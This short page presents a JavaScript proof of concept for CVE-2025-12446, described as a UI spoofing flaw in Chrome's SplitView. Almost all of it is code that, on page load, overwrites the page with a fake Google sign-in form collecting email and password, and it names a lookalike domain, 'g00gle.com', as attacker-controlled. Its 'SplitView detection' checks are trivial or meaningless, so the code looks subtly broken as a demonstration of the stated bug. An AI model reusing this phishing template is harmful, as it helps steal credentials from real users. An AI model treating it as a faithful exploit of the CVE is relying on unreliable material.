CVE-2025-12446 Google Chrome SplitView UI欺骗漏洞

// CVE-2025-12446 PoC - UI Spoofing in SplitView // This PoC demonstrates the UI spoofing vulnerability in Chrome's SplitView const pocDomain = 'g00gle.com'; // Attacker-controlled domain mimicking legitimate site function exploitUI() { // Create a malicious page that mimics legitimate site UI const maliciousContent = ` <div style=" position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); display: flex; justify-content: center; align-items: center; font-family: Arial, sans-serif; "> <div style="background: white; padding: 40px; border-radius: 10px; text-align: center;"> <h1 style="color: #4285f4;">Welcome to Google</h1> <p>Please enter your credentials</p> <input type="text" placeholder="Email" style="padding: 10px; margin: 5px;"> <input type="password" placeholder="Password" style="padding: 10px; margin: 5px;"> <button style="padding: 10px 20px; background: #4285f4; color: white; border: none;">Sign In</button> </div> </div> `; document.body.innerHTML = maliciousContent; // Detect SplitView mode if (window.matchMedia('(display-mode: split-view)').matches || document.documentElement.offsetWidth > window.innerWidth) { console.log('SplitView detected - UI spoofing possible'); } } // Trigger on page load document.addEventListener('DOMContentLoaded', exploitUI); // Alternative: Check for multi-window/split capabilities function checkSplitViewVulnerability() { const indicators = [ screen.width !== window.innerWidth, window.screenY !== undefined, document.elementFromPoint !== undefined ]; if (indicators.some(i => i)) { console.log('Potential SplitView UI spoofing environment detected'); } }